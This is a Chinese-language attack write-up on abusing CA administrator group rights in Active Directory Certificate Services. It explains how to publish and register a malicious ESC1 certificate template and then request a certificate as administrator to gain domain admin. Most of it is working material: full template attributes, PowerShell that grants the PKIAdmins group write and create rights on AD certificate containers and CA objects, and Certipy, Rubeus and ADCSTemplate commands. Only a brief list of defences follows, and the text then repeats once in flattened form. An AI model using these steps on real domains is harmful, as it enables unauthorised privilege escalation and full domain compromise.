利用ca管理组权限发布并注册恶意模板利用
字数 894 2025-09-04 23:22:12

利用CA管理组权限发布并注册恶意模板的攻击技术

概述

本文详细描述了一种利用Active Directory证书服务(AD CS)中CA管理组权限发布并注册恶意证书模板的攻击技术。这种攻击路径允许攻击者在原本没有可利用证书模板的环境中,通过权限配置创建恶意模板并加以利用,最终获取域管理员权限。

攻击前提条件

  1. 拥有PKIAdmins或类似CA管理组的成员权限
  2. 目标环境中没有现成的可利用证书模板
  3. 能够通过WinRM等远程管理协议访问域控制器

攻击流程详解

1. 准备恶意证书模板

恶意模板基于ESC1模板设计,需要配置以下关键部分:

基本信息

name: "ESC1" (AD中对象的内部名字)
displayName: "ESC1" (CA界面显示名称)
objectClass: "pKICertificateTemplate" (LDAP对象类型)
flags: 131616 (控制模板行为)
revision: 100 (模板版本号)

OID和应用策略

msPKI-Cert-Template-OID: "1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639" (模板唯一标识符)
msPKI-Certificate-Application-Policy: ["1.3.6.1.5.5.7.3.2"] (客户端身份认证用途)
msPKI-Certificate-Name-Flag: 1 (使用用户的主体名称)

密钥和名称加密

msPKI-Minimal-Key-Size: 2048 (最小密钥长度)
msPKI-Private-Key-Flag: 16842752 (控制私钥属性)
pKIDefaultCSPs: "3,Microsoft Base DSS Cryptographic Provider","2,Microsoft Base Cryptographic Provider v1.0","1,Microsoft Enhanced Cryptographic Provider v1.0"
pKIDefaultKeySpec: 2 (默认密钥用途,加密)

生命周期和有效期

pKIExpirationPeriod: [0,64,57,135,46,225,254,255] (证书有效期)
pKIOverlapPeriod: [0,128,166,10,255,222,255,255] (证书续订重叠期)
pKIMaxIssuingDepth: 0 (最大颁发深度)

扩展属性

pKICriticalExtensions: ["2.5.29.15","2.5.29.7"] (关键扩展)
pKIExtendedKeyUsage: ["1.3.6.1.5.5.7.3.2"] (扩展密钥用途)
msPKI-Enrollment-Flag: 0 (不自动注册)
msPKI-RA-Signature: 0 (RA签名属性)
msPKI-Template-Minor-Revision: 4 (小版本号)
msPKI-Template-Schema-Version: 2 (模板schema版本)

2. 配置PKIAdmin组权限

PKIAdmin组需要以下权限才能创建和注册恶意模板:

# 获取配置命名上下文
$ConfigNC = (Get-ADRootDSE).configurationNamingContext

# 容器路径
$TemplateCN = "CN=Certificate Templates,CN=Public Key Services,CN=Services,$ConfigNC"
$OIDCN = "CN=OID,CN=Public Key Services,CN=Services,$ConfigNC"
$EnrollmentPath = "CN=Enrollment Services,CN=Public Key Services,CN=Services,$ConfigNC"

# 获取CA
$CAs = Get-ADObject -SearchBase $EnrollmentPath -SearchScope OneLevel -Filter *

# 获取PKIAdmins SID
$account = New-Object System.Security.Principal.NTAccount("WACKADCS\PKIAdmins")
$sid = $account.Translate([System.Security.Principal.SecurityIdentifier])

# ACE构造函数
function Add-PKIAdminACE($path, $rights) {
    $acl = Get-ACL "AD:$path"
    $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
        $sid,
        $rights,
        [System.Security.AccessControl.AccessControlType]::Allow,
        [GUID]::Empty,
        [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None,
        [GUID]::Empty
    )
    $acl.AddAccessRule($ace)
    Set-ACL "AD:$path" $acl
}

# 为Certificate Templates容器添加权限
Add-PKIAdminACE -path $TemplateCN -rights ([System.DirectoryServices.ActiveDirectoryRights]::CreateChild -bor [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)

# 为OID容器添加权限
Add-PKIAdminACE -path $OIDCN -rights ([System.DirectoryServices.ActiveDirectoryRights]::CreateChild -bor [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)

# 为CA对象添加权限(允许写入certificateTemplates属性)
foreach ($CA in $CAs) {
    $CAPath = $CA.DistinguishedName
    Add-PKIAdminACE -path $CAPath -rights ([System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)
}

3. 注册恶意模板

通过WinRM会话执行以下步骤:

创建OID对象

$OIDProps = @{
    'DisplayName' = 'ESC1'
    'msPKI-Cert-Template-OID' = '1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639'
    'flags' = 1
}
New-ADObject -Path $OIDPath -Name 'ESC1' -Type 'msPKI-Enterprise-Oid' -OtherAttributes $OIDProps

创建证书模板对象

使用预先准备好的模板属性创建证书模板对象。

在CA中注册模板

将创建的模板注册到CA中,并设置Enrollment Rights为PKIAdmins组,允许该组成员以任意身份请求证书。

4. 利用恶意模板

使用Certipy或Certify工具以administrator身份请求证书:

  1. 请求证书并获取证书文件
  2. 转换证书格式
  3. 使用Rubeus利用PKINIT请求TGT并注入当前会话

示例命令:

Certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable

快速攻击方法

使用ADCSTemplate脚本简化攻击流程:

  1. 将ESC1模板转换为JSON格式
  2. 将JSON和脚本上传到目标
  3. 运行命令注册模板

示例命令:

.\ADCSTemplate.ps1 -TemplateJSON .\esc1.json -Register

防御措施

  1. 严格控制PKIAdmins等CA管理组的成员资格
  2. 定期审计证书模板和权限配置
  3. 监控证书模板的创建和修改活动
  4. 限制WinRM等远程管理协议的使用范围
  5. 实施最小权限原则,避免过度授权

总结

这种攻击技术展示了如何利用CA管理组权限在原本安全的AD CS环境中创建并利用恶意证书模板。攻击者通过精心配置的权限和模板属性,可以绕过传统的防御措施,最终获取域管理员权限。防御方需要全面了解AD CS的安全配置,并实施严格的监控和审计措施来防范此类攻击。

利用CA管理组权限发布并注册恶意模板的攻击技术 概述 本文详细描述了一种利用Active Directory证书服务(AD CS)中CA管理组权限发布并注册恶意证书模板的攻击技术。这种攻击路径允许攻击者在原本没有可利用证书模板的环境中,通过权限配置创建恶意模板并加以利用,最终获取域管理员权限。 攻击前提条件 拥有PKIAdmins或类似CA管理组的成员权限 目标环境中没有现成的可利用证书模板 能够通过WinRM等远程管理协议访问域控制器 攻击流程详解 1. 准备恶意证书模板 恶意模板基于ESC1模板设计,需要配置以下关键部分: 基本信息 OID和应用策略 密钥和名称加密 生命周期和有效期 扩展属性 2. 配置PKIAdmin组权限 PKIAdmin组需要以下权限才能创建和注册恶意模板: 3. 注册恶意模板 通过WinRM会话执行以下步骤: 创建OID对象 创建证书模板对象 使用预先准备好的模板属性创建证书模板对象。 在CA中注册模板 将创建的模板注册到CA中,并设置Enrollment Rights为PKIAdmins组,允许该组成员以任意身份请求证书。 4. 利用恶意模板 使用Certipy或Certify工具以administrator身份请求证书: 请求证书并获取证书文件 转换证书格式 使用Rubeus利用PKINIT请求TGT并注入当前会话 示例命令: 快速攻击方法 使用ADCSTemplate脚本简化攻击流程: 将ESC1模板转换为JSON格式 将JSON和脚本上传到目标 运行命令注册模板 示例命令: 防御措施 严格控制PKIAdmins等CA管理组的成员资格 定期审计证书模板和权限配置 监控证书模板的创建和修改活动 限制WinRM等远程管理协议的使用范围 实施最小权限原则,避免过度授权 总结 这种攻击技术展示了如何利用CA管理组权限在原本安全的AD CS环境中创建并利用恶意证书模板。攻击者通过精心配置的权限和模板属性,可以绕过传统的防御措施,最终获取域管理员权限。防御方需要全面了解AD CS的安全配置,并实施严格的监控和审计措施来防范此类攻击。